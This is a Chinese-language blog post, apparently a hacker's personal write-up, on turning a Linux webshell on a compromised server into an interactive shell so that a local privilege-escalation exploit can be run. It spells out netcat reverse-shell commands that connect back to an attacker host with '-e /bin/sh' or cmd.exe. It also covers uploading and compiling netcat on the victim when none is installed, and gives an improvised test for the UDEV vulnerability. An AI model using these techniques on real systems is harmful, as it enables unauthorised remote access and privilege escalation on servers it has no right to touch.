(昨天又不小心搜到篇自己以前寫的文章，轉了很多地方，沒見一個寫版權的)

昨晚(應該是今天凌晨)玩了半天朋友給的Linux的WebShell，本來想實踐一下UDEV提權呢，最后發現服務器貌似已經打過補丁了。
不過還是有其他的收獲的，所以我就YY下Linux反彈shell的問題。

Linux提權絕大部分都靠的是Local Exploit。WebShell一般都可以執行命令，但是我們的EXP必須在可交互環境運行，否則如果直接在WebShell執行，即使能提權成功，我們也沒法利用到。所以我們需要先反彈一個CmdLine Shell回來(直接說成CmdShell怕人誤解...因為Win有個cmd.exe ^_^)，然后在命令行終端下執行EXP進行提權。

一般情況下，絕大多數人都會通過PHP WebShell的Back Connect功能彈回一個Shell，但是有時候會碰到服務器不支持PHP或者WebShell沒法反彈的情況，比如這兩天朋友給我的一個JSPShell所在服務器只支持JSP，不支持PHP。這時候，我們經典的netcat就可以派上用場了。

平時在Windows下做事的時候，在必要的情況下我們可以先在本機運行nc -vv -lp 1234監聽端口，然后在肉雞上nc 12.21.12.21 1234 -e cmd.exe給我們反彈一個CmdShell，這個方法在Linux仍然可行。

在本機監聽后，在WebShell運行nc 12.21.12.21 1234 -e /bin/sh就能彈一個CmdLine Shell給我們。
但我們經常碰到的情況并不都是這么100%順利的，像昨晚整的那兩臺，每臺都是不能直接執行nc的。一臺有nc，但執行從是不起作用，另外一臺直接壓根就沒有nc....

不過，這個難不倒我們，我們可以給他裝一個嘛，比較快捷的方法是，我們可以到http://netcat.sourceforge.net/download.php下載nc的源碼，先在我們自己linux機器上編譯好以后把bin文件傳上去(我開始傳的我的Debian自帶的netcat，結果仍然不能運行....)。如果還不行，那就把源碼傳上去，在目標機器上直接編譯。

昨晚那兩臺機器，一臺我是直接傳的本地編譯后的，一臺是在目標機器上編譯的。如果直接傳的nc可以運行的話還比較好說，如果需要在目標機器上編譯的話，這里有點小技巧:
因為在得到CmdLine Shell前，我們只能在WebShell里執行命令，一般每次只能執行一條，然后等回顯。假如我們的WebShell在/var/www/site目錄，那么我們每次執行命令默認的當前路徑都是/var/www/site，而我們的netcat源碼包解壓在了/tmp/netcatsrc文件夾，這樣的話，我們編譯netcat的時候，configure還好說，可用/tmp/netcatsrc/configure命令，但下一步make的時候就不行了，因為當前路徑是/var/www/site，而不是我們想要的/tmp/netcatsrc/，所以我們configure完了make的時候會報錯。

解決這個問題其實也很簡單，可以直接把兩句寫成一句就可以:cd /tmp/netcatsrc;make
用分號隔開寫，把make跟在目錄切換命令后面，這樣編譯的時候就不會報錯了。(流浪貓教的..^_^)
在還沒有得到CmdLine Shell的時候，這樣的寫法還是很有用的。

編譯成功以后，我們就可以輸入命令反彈Shell了(比如我這里nc路徑是/tmp/nc):
本地nc -vv -lp 80后
/tmp/nc 202.xx.xx.250 80 -e /bin/sh就可以給我嗎彈回來一個CmdLine Shell。

效果如下圖:

----------------

要注意反彈的Linux Shell是沒有$提示符的哦，執行一句返回一句。
還有一點就是這里反彈Shell的時候我運行的是/bin/sh，當然運行/bin/bash也可以。
不過我覺得最好還是運行/bin/sh吧，因為/bin/sh的權限比/bin/bash放的更開一些

順便說一下怎么判斷目標是否有UDEV這個漏洞。
Linux我還不知道怎么樣查看它是否打過這個補丁，所以我想了個比較簡單的辦法:

1.執行cat /proc/net/netlink,記錄下PID A
2.執行ps aux | grep udev ,記下root的PID B
3.如果A = B - 1，則存在漏洞，否則不存在
這是我自己想的，因為獲得PID的時候有這兩種方法，所以我通過他們對比來判斷，但我并不能確定我這方法是100%正確的，僅供參考。
效果如下圖:
在反彈的Shell里執行，發現得到的PID不一樣,2487 != 1230

在我自己機器上，PID一樣，1184=1185-1